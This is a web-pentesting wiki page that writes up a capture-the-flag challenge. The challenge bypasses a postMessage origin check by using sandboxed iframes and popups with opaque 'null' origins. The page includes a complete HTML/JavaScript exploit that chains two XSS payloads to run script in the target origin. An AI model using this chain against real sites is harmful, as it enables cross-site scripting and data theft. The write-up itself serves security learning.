bypassing-sop-with-iframes-1.md (4312B)
1 --- 2 title: "Bypassing SOP with Iframes - 1" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Bypassing SOP with Iframes - 1 14 15 ## Iframes in SOP-1 16 17 This challenge by NDevTK and Terjanq requires exploiting an XSS in the following message handler; the original creator profiles are retained for attribution.<sup>[[1]](#references)</sup><sup>[[3]](#references)</sup><sup>[[4]](#references)</sup> 18 19 ```javascript 20 const identifier = "4a600cd2d4f9aa1cfb5aa786" 21 onmessage = (e) => { 22 const data = e.data 23 if (e.origin !== window.origin && data.identifier !== identifier) return 24 if (data.type === "render") { 25 renderContainer.innerHTML = data.body 26 } 27 } 28 ``` 29 30 The main page sanitizes its normal `data.body` flow with DOMPurify. To send attacker-controlled HTML to this handler, the challenge requires bypassing the `e.origin !== window.origin` check. 31 32 Let's see the solution they propose.<sup>[[1]](#references)</sup> 33 34 ### SOP bypass 1 (e.origin === null) 35 36 When a document is embedded in an iframe whose sandbox flags omit `allow-same-origin`, it receives an opaque origin. Its serialized origin in messaging is `null`, so `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` can force the condition used by this challenge.<sup>[[2]](#references)</sup> 37 38 If the page was **embeddable** you could bypass that protection that way (cookies might also need to be set to `SameSite=None`). 39 40 ### SOP bypass 2 (window.origin === null) 41 42 When **`allow-popups`** is set, an opened popup inherits the sandbox restrictions unless `allow-popups-to-escape-sandbox` is also set. Opening the popup from this opaque-origin iframe therefore leaves the popup sandboxed with an opaque origin too.<sup>[[2]](#references)</sup> 43 44 ### Challenge Solution 45 46 For this challenge, create the sandboxed iframe and use it to open `/iframe.php` in a popup. Because both compared origin strings are `null`, the attacker can send a payload that reaches the unsafe `innerHTML` assignment. 47 48 The first XSS obtains `identifier` and sends a second XSS payload back to the top page, which navigates to `/iframe.php`. For the second delivery, knowing `identifier` makes `data.identifier === identifier` true and satisfies the alternate side of the flawed check even though the sender origin no longer matches. The XSS then executes in the target origin. The complete payload and timing are retained below.<sup>[[1]](#references)</sup> 49 50 ```html 51 <body> 52 <script> 53 f = document.createElement("iframe") 54 55 // Needed flags 56 f.sandbox = "allow-scripts allow-popups allow-top-navigation" 57 58 // Second communication with /iframe.php (this is the top page relocated) 59 // This will execute the alert in the correct origin 60 const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{ 61 x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*'); 62 },1000);`.replaceAll("\n", " ") 63 64 // Initial communication 65 // Open /iframe.php in a popup, both iframes and popup will have "null" as origin 66 // Then, bypass window.origin === e.origin to steal the identifier and communicate 67 // with the top with the second XSS payload 68 f.srcdoc = ` 69 <h1>Click me!</h1> 70 <script> 71 onclick = e => { 72 let w = open('https://so-xss.terjanq.me/iframe.php'); 73 onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php'; 74 setTimeout(_ => { 75 w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*') 76 }, 1000); 77 }; 78 <\/script> 79 ` 80 document.body.appendChild(f) 81 </script> 82 </body> 83 ``` 84 85 ## References 86 87 - [1] [soXSS - writeup](https://github.com/terjanq/same-origin-xss) 88 - [2] [WHATWG HTML - sandboxed origin and popup sandboxing flags](https://html.spec.whatwg.org/multipage/origin.html#sandboxing-flag-set) 89 - [3] [NDevTK](https://github.com/NDevTK) 90 - [4] [Terjanq](https://github.com/terjanq)